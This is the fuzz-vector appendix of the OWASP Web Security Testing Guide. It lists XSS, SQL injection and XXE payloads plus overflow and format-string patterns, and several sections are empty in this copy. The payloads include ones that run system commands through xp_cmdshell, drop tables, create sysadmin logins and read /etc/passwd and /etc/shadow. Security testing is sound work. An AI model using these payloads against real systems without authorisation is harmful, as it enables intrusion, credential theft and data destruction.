WSTG - v4.1

Fuzz Vectors

The following are fuzzing vectors which can be used with ZAP, or another fuzzer. Fuzzing is the “kitchen sink” approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing. This is the simple part of the discovery phase. Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

Fuzz Categories

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

We examine and define each category in the sub-sections that follow.

Recursive Fuzzing

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

Selecting “8302fa3b” as a part of the request to be fuzzed against the set hexadecimal alphabet (i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}) falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:



Replacive Fuzzing

Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:>"><script>alert("XSS")</script>&'';!--"<XSS>=&{()}

This is a form of replacive fuzzing. In this category, the total number of requests is dependent on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

Cross Site Scripting (XSS)

For details on XSS: Cross-site Scripting (XSS)










<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>







<IMG SRC="jav&#x09;ascript:alert(<WBR>'XSS');">

<IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">

<IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');">

Buffer Overflows and Format String Errors

Buffer Overflows (BFO)

A buffer overflow or memory corruption attack is a programming condition which allows overflowing of valid data beyond its prelocated storage limit in memory.

For details on Buffer Overflows: Testing for Buffer Overflow

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

A x 5

A x 17

A x 33

A x 65

A x 129

A x 257

A x 513

A x 1024

A x 2049

A x 4097

A x 8193

A x 12288

Format String Errors (FSE)

Format string attacks are a class of vulnerabilities that involve supplying language specific format tokens to execute arbitrary code or crash a program. Fuzzing for such errors has as an objective to check for unfiltered user input.

An excellent introduction on FSE can be found in the USENIX paper entitled: Detecting Format String Vulnerabilities with Type Qualifiers

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

















%s x 129

%x x 257

Integer Overflows (INT)

Integer overflow errors occur when a program fails to account for the fact that an arithmetic operation can result in a quantity either greater than a data type’s maximum value or less than its minimum value. If a tester can cause the program to perform such a memory allocation, the program can be potentially vulnerable to a buffer overflow attack.













SQL Injection

This attack can affect the database layer of an application and is typically present when user input is not filtered for SQL statements.

For details on Testing SQL Injection: Testing for SQL Injection

SQL Injection is classified in the following two categories, depending on the exposure of database information (passive) or the alteration of database information (active).

Active SQL Injection statements can have a detrimental effect on the underlying database if successfully executed.

Passive SQL Injection (SQP)





' OR 1=1--

OR 1=1

' OR '1'='1

; OR '1'='1'





' or 1=1--

" or 1=1--

' or 1=1 /*

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

Admin' OR '



' having 1=1--

' having 1=1--

' group by userid having 1=1--

' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--

' or 1 in (select @@version)--

' union all select @@version--

' OR 'unusual' = 'unusual'

' OR 'something' = 'some'+'thing'

' OR 'text' = N'text'

' OR 'something' like 'some%'

' OR 2 > 1

' OR 'text' > 't'

' OR 'whatever' in ('whatever')

' OR 2 BETWEEN 1 and 3

' or username like char(37);

' union select * from users where login = char(114,111,111,116);

' union select




'; EXEC ('SEL' + 'ECT US' + 'ER')


' or 1/*





'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >

@var select @var as var into temp end --

' and 1 in (select var from temp)--

' union select 1,load_file('/etc/passwd'),1,1,1;


' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

Active SQL Injection (SQI)

'; exec master..xp_cmdshell 'ping'--



' ; drop table temp --

exec sp_addlogin 'name' , 'password'

exec sp_addsrvrolemember 'name' , 'sysadmin'

INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))


INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)

+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

LDAP Injection

For details on LDAP Injection: Testing for LDAP Injection





















XPATH Injection

For details on XPATH Injection: Testing for XPath Injection











XML Injection

Details on XML Injection here: Testing for XML Injection

<![CDATA[<script>var n=0;while(true){n++;}</script>]]>

<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>

<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>